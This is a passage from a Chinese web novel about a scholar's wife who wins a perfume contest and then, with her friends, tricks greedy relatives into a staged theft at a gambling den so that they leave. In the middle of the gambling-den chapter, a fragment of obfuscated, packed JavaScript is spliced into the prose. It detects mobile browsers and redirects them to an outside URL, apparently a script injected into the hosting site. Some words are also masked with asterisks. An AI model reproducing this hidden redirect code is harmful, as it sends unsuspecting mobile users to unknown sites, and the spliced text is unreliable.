一位依附安平郡主的夫人故作惊讶:
“哦?说得如此玄妙,不知可否让我等见识一番?
正巧,郡主今日熏的乃是宫中**的‘雪中梅魂’香,据说一年只得十铢,珍贵无比。
不知苏夫人的香露,可能与此香一比?”
这是赤裸裸的挑衅!用皇室贡品来碾压芸娘的“私制”香露。
所有人的目光都集中过来。
安平郡主嘴角噙着一丝冷笑,
示意侍女将随身携带的鎏金香囊呈上,
一股浓郁霸道的梅香瞬间扩散开来,确实非同凡响。
王雪茹气得牙痒痒,却苦于不懂此道。
赵文萱和沈香君也微微蹙眉,贡品之名,确实极具压迫感。
此时,芸娘动了。
她深吸一口气,强迫自己冷静下来,
脑中回想起夫君平日闲谈时提及的香料之道,
以及自己无数次试验的心得。
她再次起身,面向陆清晏和安平郡主,
神色依旧温婉,目光却清亮坚定:
“郡主殿下,宫中贡品,自是极品,妾身不敢妄加比拟。
然,香之道,如人之道,各有千秋。
贡香‘雪中梅魂’,旨在彰显天家气度,香韵磅礴;
妾身所制‘雪中春信’,
取的却是寒梅傲雪、春信将至那一瞬的清冷与生机,
意在捕捉天地间的那一缕灵韵。”
她示意沈香君取出那个早已备好的锦盒,亲自打开,取出造型别致的琉璃瓶。
她没有立刻打开,而是先向陆清晏行礼:
“陆小姐,此香乃妾身一点心意,本欲私下呈送,
如今
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……便借此机会,请诸位品评。”
说罢,她纤指轻拨,打开了瓶塞。
没有浓烈霸道的香气冲击,
只有一股极其清冽、纯净、带着冰雪气息的梅香,
幽幽地、一丝丝地弥漫开来。
初闻是冷,是净,是雪压枝头的静谧;
细细品味,那梅香才缓缓透出,清远悠长,不带丝毫烟火气;
尾调竟隐隐带有一丝不易察觉的、仿佛从冻土中钻出的暖意,恰如其名——“雪中春信”!
这香气,竟似有生命般,巧妙地绕开了“雪中梅魂”的霸道领域,
在空气中开辟出一方清冷幽静的天地。
两香相比,贡香如牡丹雍容华贵,
芸娘之香则如空谷幽兰,清雅脱俗,意境高远!
满园寂静。
方才还趾高气扬的安平郡主,脸色瞬间变得难看无比。
她身边的夫人更是目瞪口呆。
陆清晏的眼中,爆发出前所未有的光彩。
她深深吸了一口那清幽的冷香,
抚掌赞叹,声音清晰地传遍全场:
“好!好一个‘雪中春信’!
此香意境高远,韵味悠长,已非寻常香露可比,近乎于道!
苏夫人巧思妙手,深谙香道精髓,清晏佩服!”
她亲自接过芸娘手中的香露,爱不释手。
“夫人这份厚礼,清晏便厚颜收下了。
日后定要多多向夫人请教这制香之道。”
她的话,如同最终判决,彻底肯定了芸娘的价值,
狠狠回击了安平郡主等人的贬低!
之前所有轻视、嘲讽芸娘出身和手艺的人,此刻脸上都火辣辣的。
“格物致知,惠及众人,如何是贱业?”
芸娘看向安平郡主,语气平和却带着不容置疑的力量。
“夫君常言,‘一粥一饭,当思来处不易’。
妾身凭手艺贴补家用,让夫君能心无旁骛为君分忧,内无愧于心,外无愧于君恩。
陛下圣明,擢夫君于状元之位,看中的是夫君的才学与品行。
若因妾身经营些许雅物便受损,岂不是说陛下识人不明?”
她再次搬出皇帝,将格局提升到忠君爱国的高度,安平郡主气得浑身发抖,
却再也找不到任何言辞反驳,最终在众人微妙的目光中,愤然拂袖离去!
经此一役,再无人敢小觑芸娘。
甚至有不少夫人小姐主动上前结交,询问香露之事。
回府的马车上,芸娘几乎虚脱,后背已被冷汗浸湿。
王雪茹兴奋地直拍手:
“姐姐,你太厉害了!
看她们的脸,跟开了染坊似的!”
赵文萱与沈香君也相视而笑,眼中满是欣慰与骄傲。
然而,芸娘心中却有一丝隐隐的不安挥之不去。
安阳郡主离去前那冰冷且带着怨怼的一瞥,让她感觉,此事恐怕不会就此了结。
与此同时,陆府书房内,陆清晏把玩着那瓶“雪中春信”,对屏风后的一道身影轻声道:
“哥哥,这位苏夫人,倒是有趣得紧。
她今日看似柔弱,实则内蕴锋芒,应对得体,不卑不亢。
那苏惟瑾,能得陛下青眼,连家室都如此不凡……看来,我们之前,或许小瞧了他。”
屏风后,隐约可见一个挺拔冷峻的身影,
并未回应,只是手指轻轻敲击着桌面,在寂静的房中发出规律的轻响。
芸娘的首秀虽惊险过关,但她今日的表现,
无疑已将苏家更清晰地推到了某些势力的视野中心。
安阳郡主的怨气,陆家兄妹更深层次的关注,
以及这京城中无数双暗中窥探的眼睛……真正的风波,或许才刚刚开始。
第237章 陈氏来恶客,伯康陷为难
第237章陈氏来恶客,伯康陷为难
京城南城,锣鼓巷口。
比起内城那些钟鸣鼎食之家聚居的坊市,这里多了几分市井的喧嚣与烟火气。
街道两旁店铺林立,幌子招摇,
贩夫走卒的叫卖声、茶楼酒肆的喧哗声交织在一起,透着股鲜活生猛的劲儿。
巷子中段,新开张不久的“陈氏书坊”便坐落于此。
铺面比沭阳老店宽敞了不少,是苏惟瑾暗中资助,让岳父陈伯康打理。
门脸刷了新漆,匾额也换了新的,
上面“陈氏书坊”四个字,
还是苏惟瑾亲笔所题,
笔力遒劲,带着几分翰苑风骨,
算是这店里最值钱的招牌之一。
店里书架整齐,除了常见的四书五经、科举程文,
也按苏惟瑾的建议,进了一些杂书、话本,
甚至还有印制精良的舆图、农书,吸引了不少不同层次的客人。
陈伯康为人老实,价格公道,
加上有“状元岳丈”这块无形的金字招牌,
开业数月,生意倒也渐渐有了起色,
虽发不了大财,维持一家人在京城的体面生活已是足够。
陈伯康很是知足,每日里打理书册,招呼客人,
闲暇时泡一壶粗茶,读几页闲书,
只觉得这京城的日子,比起沭阳时的困顿,已是天上地下。
老妻陈氏(陈婶)则在店后的小院里操持家务,偶尔帮衬一下店面,脸上也多了笑容。
然而,这刚有起色的平静,很快就被不速之客打破了。
这日午后,阳光正好,陈伯康正拿着鸡毛掸子小心拂拭书架上的灰尘,就听店门外一阵嘈杂。
抬头望去,只见三四个人影堵在门口,风尘仆仆,衣着带着明显的乡气,
为首的是个干瘦的中年汉子,
三角眼,颧骨高耸,一脸的精明算计相,
正是芸娘的远房堂叔,在沭阳老家便游手好闲、嗜赌如命的陈老四。
他身后跟着一对年轻夫妇,男的是陈老四的儿子陈大牛,五大三粗,眼神浑浊,透着股蛮气;
女的则是陈大牛的媳妇王氏,薄嘴唇,吊梢眼,一看就不是个省油的灯。
“哎呦!伯康大哥!可算找到你了!”
陈老四一脚踏进店里,三角眼滴溜溜一转,
将这不大的书铺扫了个遍,脸上立刻堆起夸张的热情。
“听说大哥你在京城发了大财,开了这么大铺面!可叫我们好找啊!”
陈伯康见到这几位老家亲戚,先是一愣,随即心里便是一沉。
他素知这陈老四的品行,但念着同宗之情,又是远道而来,还是挤出笑容迎上去:
“是老四啊,大牛,你们怎么来了?快,快里面坐。”
陈氏听到动静也从后院出来,见到这阵仗,脸上的笑容也僵了僵,但还是忙着去倒茶。
陈老四也不客气,一屁股坐在店里待客的椅子上,
接过周氏递来的粗茶,咂摸了一口,
眉头微不可察地皱了一下,随即又笑道:
“大哥,大嫂,你们是不知道啊!
自从芸娘丫头嫁了状元公的消息传回沭阳,咱们老陈家可是祖坟冒了青烟了!
十里八乡谁不羡慕?
我们这做叔叔的,脸上也有光啊!
想着大哥你们在京城定是忙不过来,
特意带着大牛他们过来,看看有什么能帮衬的地方!”
陈大牛瓮声瓮气地附和:
“对,叔,有啥力气活,俺能干!”
那王氏则眼睛不住地往货架和柜台瞟,嘴里说着:
“伯父这铺子真气派,比咱沭阳那个强多了。”
陈伯康夫妇老实,虽觉不妥,
但人家话说到这个份上,又是初来乍到,总不能立刻赶人。
陈伯康便道:
“一路辛苦,先住下歇歇脚再说。”
当下便让周氏收拾出后院一间闲置的杂物房,安顿他们暂且住下。
这一住,便住出了是非。
起初两日,陈老四还装模作样地问问店里是否需要帮忙,
陈大牛也抢着干了些搬书卸货的粗活。
但没过几天,本性便暴露无遗。
陈老四开始在店里指手画脚,
一会儿说这本书定价太高,
一会儿说那种纸进价太贵,
俨然以二东家自居,弄得几个老主顾都有些侧目。
陈大牛则懒筋发作,搬点东西便喊累,大部分时间窝在后院,
或是溜达到街上闲逛。
那王氏更甚,不是嫌弃陈氏做的饭菜油水少,
就是明里暗里打听苏惟瑾如今多大的官,
一年多少俸禄,芸娘在状元府如何享福。
“伯康大哥,”
陈老四这日搓着手,凑到柜台前。
“你看,我们这大老远来投奔,
大牛媳妇连件像样的头面都没有……
你这铺子日进斗金的,是不是先支点银钱,让他们置办身行头?
总不能丢了咱老陈家和状元公的脸面不是?”
陈伯康为难道:
“老四,这铺子刚有起色,本钱还没收回,
每日进项也就刚够开销,哪有什么余钱
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……”
“啧,”
陈老四脸色一沉。
“大哥,这就是你的不是了。
谁不知道你女婿是状元?
指头缝里漏点,也够我们吃用不尽了!
你是不是瞧不起我们这些穷亲戚?”
那边王氏也尖着嗓子帮腔:
“就是啊伯父,咱们可是一家人!
芸娘妹妹在那边享福,总不能看着我们在这边吃苦吧?
我听说状元府邸跟宫殿似的,
要不你跟芸娘说说,让我们也去见识见识?”
陈伯康被他们夹枪带棒的话挤兑得面红耳赤,
陈氏在一旁急得直抹眼泪,却又不敢强硬拒绝,生怕他们在外面胡说八道,坏了女婿的名声。
更可气的是,这陈老四和陈大牛,竟开始在店里、在街面上,打着苏惟瑾的旗号吹嘘。
“看见没?这书坊,我侄女婿,苏状元家的!”
“嘿,京兆尹见了咱家亲戚,那也得客气三分!”
有时喝了二两猫尿,陈大牛甚至敢在酒肆里拍着胸脯吹牛,说什么“有啥麻烦事,报我妹夫苏状元的名号!”
如此一来二去,弄得锣鼓巷一带都知道陈氏书坊来了几家子“极品”亲戚,
一些原本敬重苏惟瑾为人、常来光顾的清流士子,
见状也摇头避开,生意竟冷清了不少。
陈伯康夫妇又气又急,如同心头压了块大石。
赶人?
碍于宗族情面,也怕他们真闹起来不好看。
不赶?
这日子眼见着就没法过了,铺子都要被他们搅黄。
老两口相对垂泪,一筹莫展。
“他爹,这么下去不是办法啊……”
陈氏夜里偷偷对陈伯康抹泪。
“要不……要不告诉惟瑾?”
陈伯康猛地摇头,脸上满是苦涩:
“不可!万万不可!
惟瑾身在官场,处处都要小心,
咱们帮不上忙已是惭愧,怎能再用这些破事去烦他?
再说,若是让芸娘知道了,她在那府里该如何自处?”
老实的岳父,将所有的难处都自己扛了下来,却不知如何化解这日渐逼近的危机。
而陈老四几人,见陈伯康夫妇一味忍让,气焰愈发嚣张。
陈老四那双三角眼里,已然开始盘算着,
如何能从这“状元岳丈”身上,榨出更多的油水,
甚至……能不能通过陈伯康,搭上苏状元那条线,谋个一官半职?
贪欲的种子一旦种下,便会疯狂滋长。
陈氏书坊这方小天地,已是山雨欲来风满楼。
第238章 芸娘心焦,众女定计
锣鼓巷陈氏书坊的腌臜事,终究没能瞒过芸娘。
那日她记挂父亲咳疾,带着新配的秋梨膏回娘家,刚踏进店门,便觉气氛不对。
往日里虽不算热闹,却也总有几位熟客翻阅书册,
今日却冷清得能听见灰尘落地的声音。
父亲陈伯康坐在柜台后,眉头紧锁,唉声叹气,母亲陈氏眼圈红肿,显然刚哭过。
“爹,娘,这是怎么了?”
芸娘心头一紧,连忙上前。
陈伯康见女儿回来,张了张嘴,最终化作一声长叹。
陈氏则像找到了主心骨,拉着芸娘的手,
未语泪先流,哽咽着将陈老四几人如何胡作非为、
如何败坏店铺名声、如何索要钱财的恶行一一道来。
“……你爹老实,碍着同宗的情面,又怕给你和惟瑾惹麻烦,一直忍着。
可他们……他们越发不像话了!
你爹前儿不过说了他们两句,
那陈老四竟嚷嚷着要去衙门告你爹忤逆宗亲,霸占族产!”
周氏气得浑身发抖。
芸娘听完,只觉一股血气直冲头顶。
她性子温婉,但绝非软弱可欺,尤其事关父母和夫君的声誉。
她安抚住母亲,转身便走向后院那间被陈老四几人占据的杂物房。
房门虚掩着,里面传来陈老四吆五喝六的划拳声,夹杂着王氏尖利的说笑。
芸娘推门而入,只见屋内杯盘狼藉,
陈老四、陈大牛正就着一碟花生米喝酒,王氏则拿着把瓜子磕得满地狼藉。
“芸娘来了?”
陈老四醉眼朦胧,三角眼在芸娘身上逡巡,带着令人不适的打量。
“正好,跟你爹说了没?
赶紧支点银子,你大牛哥想盘个肉铺,缺本钱呢!”
芸娘强压着怒火,目光清冷地看着他们:
“四叔,大牛哥,嫂子。
我爹娘念着同宗之情,招待你们住下,是情分。
但你们在店里指手画脚,在外败坏我夫君名声,还屡次索要钱财,这就不合规矩了。
还请你们安分些,莫要让我爹娘为难。”
“哟!”
王氏把瓜子皮一吐,吊梢眼一翻。
“芸娘妹子,这才当了几天状元夫人,就跟自家人打起官腔了?
我们怎么败坏名声了?
苏状元不是你夫君?
咱们不是一家人?
一家人互相帮衬不是应该的?”
陈大牛也梗着脖子,喷着酒气道:
“就是!妹子,你如今富贵了,拉拔拉拔穷亲戚怎么了?
这点小钱对你家来说算个屁!”
陈老四阴恻恻一笑,拿出长辈的派头:
“芸娘啊,不是四叔说你。
做人不能忘本!
没有老陈家,哪有你爹?
没有你爹,哪有你?
没有你,苏状元能看上咱们家?
这层层关系论下来,苏状元帮衬我们,那是天经地义!
你去跟你夫君说,让他给大牛在衙门里谋个差事,我们立马搬走,绝不再烦你们!”
这番胡搅蛮缠、恬不知耻的言论,气得芸娘浑身发颤。
她终于明白,跟这等无耻之徒讲道理,无异于对牛弹琴。
指望他们良心发现安分守己,根本是痴心妄想。
她不再多言,冷冷扫视他们一眼,转身便走。
身后传来陈老四得意的嗤笑和王氏尖酸的嘲讽:
“哼,摆什么夫人架子……”
回到苏府,芸娘心绪难平。
她深知此事必须尽快解决,否则后患无穷。
但如何解决?
报官?
家丑不可外扬,且容易授人以柄,影响夫君。
强硬驱逐?
对方若撒泼打滚,反而更难收拾。
焦虑之下,她再次想到了上次助她应对陆府宴会的姐妹们。
没有犹豫,她立刻派人去请赵文萱、王雪茹和沈香君。
依旧是那间花厅,芸娘没有丝毫隐瞒,将娘家遇到的麻烦和盘托出,语气带着压抑的愤怒与无助。
王雪茹一听就炸了,柳眉倒竖:
“反了天了!
几个乡下泼皮也敢在京城撒野?
嫂子你别怕,我这就带几个家丁去,把他们捆了扔出城去!”
赵文萱相对冷静,沉吟道:
“雪茹妹妹不可冲动。
此事动用武力,容易落人口实。
需得想个法子,让他们自己心甘情愿地离开,并且不敢再回来纠缠。”
沈香君指尖轻轻敲着桌面,眸中精光闪动,已然有了计较。
她唇角微勾,露出一抹商人特有的、带着算计的笑容:
“文萱妹妹说得是。
对付这等贪婪无厌
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、又自以为是的蠢人,硬来不如巧取。
他们不是贪财吗?
不是想靠着苏大人的关系谋利吗?
那我们……就送他们一场‘富贵’。”
她压低声音,将自己的计划细细道来。
听得芸娘眼睛渐渐亮起,赵文萱微微颔首,连王雪茹也拍手叫绝:
“妙啊!香君姐姐,你这脑子怎么长的?
这法子太损了……不过我喜欢!”
四人当即分工:沈香君负责布局和引子,
赵文萱负责完善细节确保无法律漏洞,
王雪茹负责调动人手散布消息并必要时“搭台”,
芸娘则负责安抚父母,配合演戏。
就在众女紧锣密鼓筹划之时,
前院书房内,苏惟瑾也接到了周大山的禀报。
“公子,夫人娘家那边……出了点状况。”
周大山将陈老四等人的行径以及芸娘方才去理论反被气回来的事说了一遍。
苏惟瑾放下手中的公文,眼中寒光一闪。
超频大脑瞬间推演出此事若处理不当可能引发的连锁反应。
“知道了。”
他语气平静。
“夫人那边,有什么动静?”
“夫人回来后,立刻请了赵小姐、王小姐和沈东家过府,此刻正在花厅商议。”
苏惟瑾闻言,嘴角微微上扬。
他的芸娘,果然没有只会哭泣求助。
而赵、王、沈三女再次齐聚,更让他感到一种微妙的欣慰。
他的后院,似乎正在形成一种独特的凝聚力和解决问题的能力。
“由她们去处理。”
苏惟瑾做出决定,语气中带着一丝纵容和期待。
“大山,你暗中留意,若她们需要帮助,或是对方狗急跳墙,你可便宜行事,确保夫人和几位小姐的安全。”
“是,公子!”
周大山领命,心中暗道,公子对夫人和这几位红颜知己,倒是信任得很。
苏惟瑾重新拿起公文,目光却变得深邃。
陈老四这等小丑不足为虑,他好奇的是,芸娘和她的“智囊团”,这次会用什么方法破局?
而这件事背后,是否真的只是简单的穷亲戚打秋风?
还是……有人想借此试探他苏惟瑾的软肋?
他隐隐觉得,这看似不起眼的家事,或许会牵出更深的水。
第239章 巧设连环套,恶客自显形
沈香君的计策,如同精密的机括,悄然转动。
计策既定,便如张网捕雀,静待时机。
沈香君通过“云裳阁”的人脉,寻了几个面生机灵、懂得看眼色行事的人;
王雪茹则通过父兄的关系,悄无声息地铺垫好了“舞台”;
赵文萱仔细推敲每一个环节,确保言语行为都在律法许可范围内,不留任何把柄;
芸娘则强压下心中焦躁,按捺不动,
只让贴身丫鬟秋月悄悄回了一趟娘家,
嘱咐父母近日无论见到何事、听到何言,
只需配合,不必惊慌,更不必与陈老四等人冲突。
第一步,便是要让陈老四、陈大牛这等人,自己先乱起来。
两日后的午后,陈氏书坊依旧门可罗雀。
陈老四翘着二郎腿,占据了店里最舒服的那把椅子,眯着三角眼,嘴里不满地嘟囔:
“这什么破地方,一天也见不着几个铜板,还不如咱沭阳赶大集热闹。”
陈大牛则百无聊赖地靠在门口打着哈欠,
王氏则拿着个劣质的胭脂盒子,
对着模糊的铜镜涂抹,
依旧有一搭没一搭地跟愁眉不展的陈氏搭话,打听苏府的富贵。
忽然,两个穿着皂隶公服、腰挎铁尺的差役,板着脸走了进来。
为首的是个黑脸膛的班头,
目光锐利地扫视店内,
身后跟着个年轻差役,一脸公事公办的表情。
陈伯康见状,心里一咯噔,想起女儿嘱咐,
连忙起身相迎,语气尽量平稳:
“二位差爷,不知有何贵干?”
那黑脸班头掏出腰牌晃了晃,声音洪亮,确保店里每个人都能听见:
“奉上宪谕令,近日京城严查流民滋事,
凡无固定营生、无本地户籍担保者,
一律登记造册,限期遣返原籍!
你这店里,可有此类人等?”
他说话时,眼神似有若无地瞟向门口的陈大牛和后方的陈老四。
陈大牛被那目光一扫,浑身一个激灵,下意识就往门后缩了缩。
陈老四也坐直了身子,三角眼里闪过一丝慌乱,脸上堆起谄笑:
“差爷,差爷辛苦!
我们都是良民,是来投奔亲戚的……”
“投奔亲戚?”
班头冷哼一声,走到陈大牛面前,上下打量。
“有路引吗?在京城以何为业?住在何处?”
陈大牛本就心虚,被这连珠炮似的一问,
更是张口结舌,脸憋得通红,半天才憋出一句:
“俺…俺是沐阳来的,住…住俺伯父这…还没…没找到活计……”
“没路引?无业?那就是流民了!”
班头脸色一沉,对身后那拿着小本子的年轻差役道。
“记下来,陈氏书坊,收容流民三人,
男丁两名,女眷一名,限期三日离京,否则锁拿法办!”
那年轻差役笔走龙蛇,刷刷记录,嘴里重复着:
“陈氏书坊,流民三人……”
陈老四吓得脸都白了,连忙上前,偷偷从袖子里摸出几个铜钱想塞过去:
“差爷,差爷行个方便,我们真是良民,是状元公苏大人的亲戚……”
“嗯?”
班头眼睛一瞪,非但没接钱,反而声音更高了。
“苏大人的亲戚?
哪个苏大人?
休得胡言乱语,攀诬朝廷命官!
再敢啰嗦,立刻锁走!”
这一嗓子,把陈老四后面的话全吓了回去,
手里的铜钱叮当掉在地上,也顾不得捡。
陈大牛更是两股战战,差点瘫软在地。
王氏也吓得脸色发白,躲在陈氏身后不敢出声。
恰在此时,隔壁杂货铺的掌柜,
一个看着颇为热心憨厚的中年胖子(王雪茹安排的人),
探头探脑地走了进来,压低声音对惊魂未定的陈老四道:
“老哥,刚才那是兵马司的人吧?
啧,你们运气不好,撞枪口上了!”
陈老四如同抓住了救命稻草,忙问:
“掌柜的,这…这到底怎么回事?”
胖掌柜左右看看,神秘兮兮地道:
“你们是投奔这陈掌柜的吧?
我听说啊,他家那女婿,就是那位苏状元,最是重规矩!
眼里揉不得沙子!
前些日子,也是他老家来了几个本家叔伯,
想靠着他的关系在京城谋差事,
结果在外面打着他的旗号胡吹,
被状元爷知道了,二话不说,直接让顺天府拿了人,
现在还在大牢里蹲着呢!
亲叔伯都不讲情面,
你们这远房的……啧啧……”
这番话,如同晴天霹雳,炸得陈老四三人魂飞魄散!
他们在沐阳
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确实听过苏状元手段厉害把自己的亲叔伯送进大牢的传闻,
原本只当是夸大其词,如今连着差役盘查和这“邻居”的“肺腑之言”两相印证,由不得他们不信!
“这…这可如何是好?”
陈大牛带着哭腔。
“爹,咱们不会被抓走吧?”
王氏也慌了神:
“遣返原籍?俺可不想回那穷地方!”
两个差役又装模作样地训斥了陈伯康几句“不得容留不明身份之人”,这才扬长而去。
杂货铺掌柜也摇摇头,叹着气走了。
店里死一般的寂静。
陈老四一屁股瘫回椅子上,额头冷汗直冒,面如死灰。
陈大牛扶着门框,大口喘着粗气。
人性的贪婪与对官法的恐惧在他们心中激烈交战。
到了这一步,他们从之前的嚣张索取,变成了卑微乞怜。
“伯…伯康大哥…”
陈老四舔了舔干涩的嘴唇,声音带着哀求。
“你看…这事…你能不能跟芸娘说说,
或者…跟苏大人求求情?
我们保证安分守己,绝不再生事!
就…就让我们留下吧,好歹给口饭吃……”
陈伯康看着他们这副前倨后恭的嘴脸,
心中五味杂陈,既有出了口恶气的痛快,
又有一丝不忍,但想起他们之前的所作所为和女儿的叮嘱,
还是硬起心肠道:
“老四,不是我不帮。
惟瑾的性子,你们也听到了…
他最厌人借他名头生事。
我…我也做不了他的主啊。”
这话如同最后一盆冷水,浇灭了陈老四心中最后的希望。
然而,人性的贪婪总是能压过恐惧。
短暂的绝望后,一个更疯狂的念头在陈老四心中滋生
——既然软的不行,留不下来,那就在临走前,最后狠狠捞一笔!
他那双三角眼,再次偷偷瞄向了书坊的柜台和书架,
心里盘算着,如何才能从这“即将失去”的宝地里,抠出最后一点油水。
他却不知,他这贪婪的目光,早已落在对面茶楼雅间里,一双冷静观察的眼睛里。
沈香君轻轻放下茶杯,对身旁的赵文萱和王雪茹微微一笑,眸中闪过一丝了然:
“鱼儿,快要咬钩了。
下一步,该送他们一场‘更大的富贵’了。”
第240章 贪心惹祸端,入彀中计谋
被“官差”和“邻居”连番惊吓后,
陈老四父子如同惊弓之鸟,在书坊里坐立难安。
离京返乡?
看着京城这花花世界,想着回乡后的清苦,实在割舍不下。
留下?
又怕那“铁面无私”的苏状元真把他们当流民抓了,或者像对待老家亲族一样收拾他们。
就在这进退维谷、抓心挠肝之际,
一个“机会”仿佛打瞌睡时递来的枕头,恰到好处地出现了。
这日,一个穿着绸衫、作派像是某家府邸管事模样的中年男子,踱着方步走进了陈氏书坊。
他并未看书,目光在店内逡巡一圈,
最后落在了唉声叹气的陈老四和无所事事的陈大牛身上。
“二位瞧着面生,不是本地人吧?”
管事模样的男子主动搭话,语气还算客气。
陈老四正愁没处打听门路,连忙堆起笑脸:
“这位爷好眼力,小老儿是沐阳人,带犬子来京城投亲。”
“哦?”
管事挑了挑眉,压低声音。
“看二位也是实在人,我这倒有个好去处,不知二位有没有兴趣?”
陈老四眼睛一亮,忙把耳朵凑过去:
“爷请讲!请讲!”
“城外南边,新开了家‘如意坊’,场面大,东家也阔气。”
管事神秘兮兮地道。
“正缺几个可靠的护院。
活儿不重,就是夜里盯着点场子,防些宵小。
包吃住,一个月……这个数。”
他伸出两根手指晃了晃。
“二…二两银子?”
陈大牛吸了口气,他在老家累死累活一年也攒不下二两。
管事嗤笑一声:
“二十两!做得好了,还有赏钱!”
二十两!
陈老四的呼吸瞬间粗重起来,三角眼里迸射出贪婪的光芒。
这简直是从天而降的横财!
他唯一担忧的是:
“这位爷,我父子…没啥功夫,
就是有把子力气,人家能要吗?”
“嗐!要的就是身强力壮、面相凶…呃,是面相镇得住场的!”
管事拍了拍陈大牛结实的胳膊。
“有没有功夫不打紧!
关键是忠心,嘴严!
我看二位就挺合适。
怎么样?要不要去试试?
我还能帮你们引荐引荐。”
二十两银子的诱惑,
瞬间冲垮了陈老四心中那点残存的理智和警惕。
什么流民,什么苏状元的规矩,都被他抛到了脑后。
他仿佛已经看到白花花的银子在向他招手。
“去!我们去!”
陈老四忙不迭地答应,生怕这“贵人”反悔。
陈大牛也咧开大嘴傻笑,俨然已经穿上了护院的号服,揣上了沉甸甸的工钱。
父子二人兴冲冲地跟着那管事出了门,连跟陈伯康打声招呼都顾不上。
王氏听说后,虽有些不安,但听到二十两的月钱,也动了心,只叮嘱他们小心行事。
那管事带着他们七拐八绕,出了南城,
来到一处看起来颇为气派、但位置有些偏僻的大宅院前。
门楣上挂着“如意坊”的匾额,
门口站着两个膀大腰圆的汉子,眼神凶悍。
里面隐隐传来呼喝声、骰子声,气氛热烈。
管事进去通传片刻,出来一个穿着锦袍、满脸横肉的“二当家”,
打量了陈老四父子几眼,尤其盯着陈大牛那身板看了看,满意地点点头:
“嗯,不错。
留下试试吧。
规矩都懂吗?
不该看的别看,不该问的别问,手脚干净点!”
“懂!懂!爷放心,我们晓得分寸!”
陈老四点头哈腰。
父子二人就这样懵懵懂懂地成了“如意坊”的护院。
头一天,只是让他们在院子里转转,
熟悉环境,管了顿油水十足的饱饭,
还预支了五百文钱说是“安家费”。
陈老四攥着那串铜钱,
心里乐开了花,只觉得这京城真是遍地黄金。
然而,这“黄金”下面,挖好了陷阱。
第二天夜里,赌场里来了几个“豪客”,赌得极大,面前堆满了银锭。
二当家特意把陈大牛叫到跟前,
让他专门盯着这张台子,说是“看重”他。
陈大牛受宠若惊,挺直了腰板站在一旁。
赌到酣处,一个“豪客”似乎输急了,
骂骂咧咧地起身如厕,一个不小心,将腰间鼓鼓囊囊的钱袋掉在了地上,
滚出几个亮闪闪的银元宝,正好落在陈大牛脚边。
周围喧嚣正浓,似乎没人注意。
陈大牛的心,猛地跳到了嗓子眼。
他看着地上那白花花的银子,
又想起父亲平日念叨的“马无夜草不肥,人无横财不富”,一股邪念窜了上来。
他飞快地左右瞟了一眼,
见无人注意,鬼使神差地伸出脚,
悄悄将那两个离得最近的元宝拨到自己脚后跟下,然后用靴子死死踩住。
他以为自己做得神不知鬼不觉,
却不知这一切,都被暗处几双眼睛看得清清楚楚。
那“豪客”回来,很快发现少了银子,
顿时勃然大怒,揪住二当家的衣领要他交出贼人。
整个赌场乱成一团。
“搜!给老子搜!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836764|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>二当家脸色铁青,一声令下,
几个打手如狼似虎地扑上来,
第一个就按住了做贼心虚、脸色煞白的陈大牛。
毫不费力,从他靴子里搜出了那两锭还带着体温的官银。
“好哇!吃里扒外的东西!
敢在爷爷的地盘上偷鸡摸狗!”
二当家劈手就是一个耳光,打得陈大牛眼冒金星。
“爹!爹救我!”
陈大牛杀猪般嚎叫起来。
在隔壁房间睡得正香的陈老四被惊醒,
连滚爬爬跑过来,看到儿子被打、脏银俱在,
顿时吓得魂飞魄散,扑通一声跪在地上,磕头如捣蒜:
“二当家饶命!二当家饶命啊!
小儿一时糊涂,猪油蒙了心!
我们赔!我们赔钱!”
“赔?”
二当家一脚踹翻陈老四,狞笑道。
“偷一罚十!
这两锭银子足二十两,赔二百两!
少一个子,就把你们父子剁了喂狗!”
二百两!陈老四眼前一黑,差点晕过去。
就是把他们都卖了,也值不了二百两啊!
“二当家…我们…我们实在拿不出啊…”
陈老四哭得鼻涕一把泪一把。
“拿不出?”
二当家眼神凶狠。
“那就拿命抵!
或者……我派人送你们去衙门,
按**官银论处,那可是**的罪过!”
一听“**”,陈老四父子彻底瘫软在地,如同两滩烂泥。
此刻,什么二十两月钱,什么京城富贵,全都成了泡影,只剩下无边的恐惧。
“饶命…饶命啊…”
陈老四抱着二当家的腿,涕泪横流。
“我们…我们去借!我们去筹钱!求二当家宽限几日!”
“哼!”
二当家甩开他。
“就给你们一天时间!
明天这个时候,见不到二百两,就等着收尸吧!”
父子二人如同丧家之犬,被赌坊的打手粗暴地扔出了大门。
夜风一吹,他们才感到刺骨的寒冷和后怕。
“爹…咋办啊…”
陈大牛带着哭腔,脸上还火辣辣地疼。
陈老四面如死灰,浑身发抖,脑子里只剩下一个念头:
“去找伯康!去找芸娘!只有他们能救我们了!”
两人连滚带爬,失魂落魄地朝着锣鼓巷的方向狂奔而去,
只求那曾经被他们欺辱、索要的“亲戚”,
此刻能大发慈悲,救他们于水火。
他们却不知道,那“如意坊”的二楼窗前,
沈香君安排的人正冷冷看着他们狼狈的背影。
而真正的收网,还在后面。
第241章 恩威并施,扫地出门
陈老四父子连滚带爬逃回锣鼓巷时,天边刚泛起鱼肚白。
两人衣衫不整,脸上还带着伤,
如同两条丧家之犬,扑到陈氏书坊紧闭的门板上,哭爹喊娘地捶打着:
“伯康大哥!开门啊!救命啊!救救我们吧!”
那凄厉的嚎哭声,划破了清晨的宁静,
也惊醒了本就忧心忡忡、一夜未眠的陈伯康夫妇。
陈氏吓得脸色发白,隔着门缝看到外面那副惨状,又是气又是怕:
“他爹,这…这可怎么办?”
陈伯康眉头拧成了疙瘩,心中五味杂陈。
虽恼恨他们之前的所作所为,但见他们如此狼狈,终究存了一丝不忍。
他正要开口,却被一只温软的手轻轻按住。
芸娘不知何时已站在了他们身后,
她今日穿了一身素净的靛蓝色襦裙
,发髻梳得一丝不苟,脸上看不出喜怒,只有一种沉静的威仪。
“爹,娘,你们去后院歇着,这里交给我。”
芸娘的声音不高,却带着一种不容置疑的力量。
陈伯康看着女儿,恍惚间觉得她似乎不再是那个需要他们庇护的小丫头了。
他叹了口气,拉着犹自不安的陈氏,默默退回了后院。
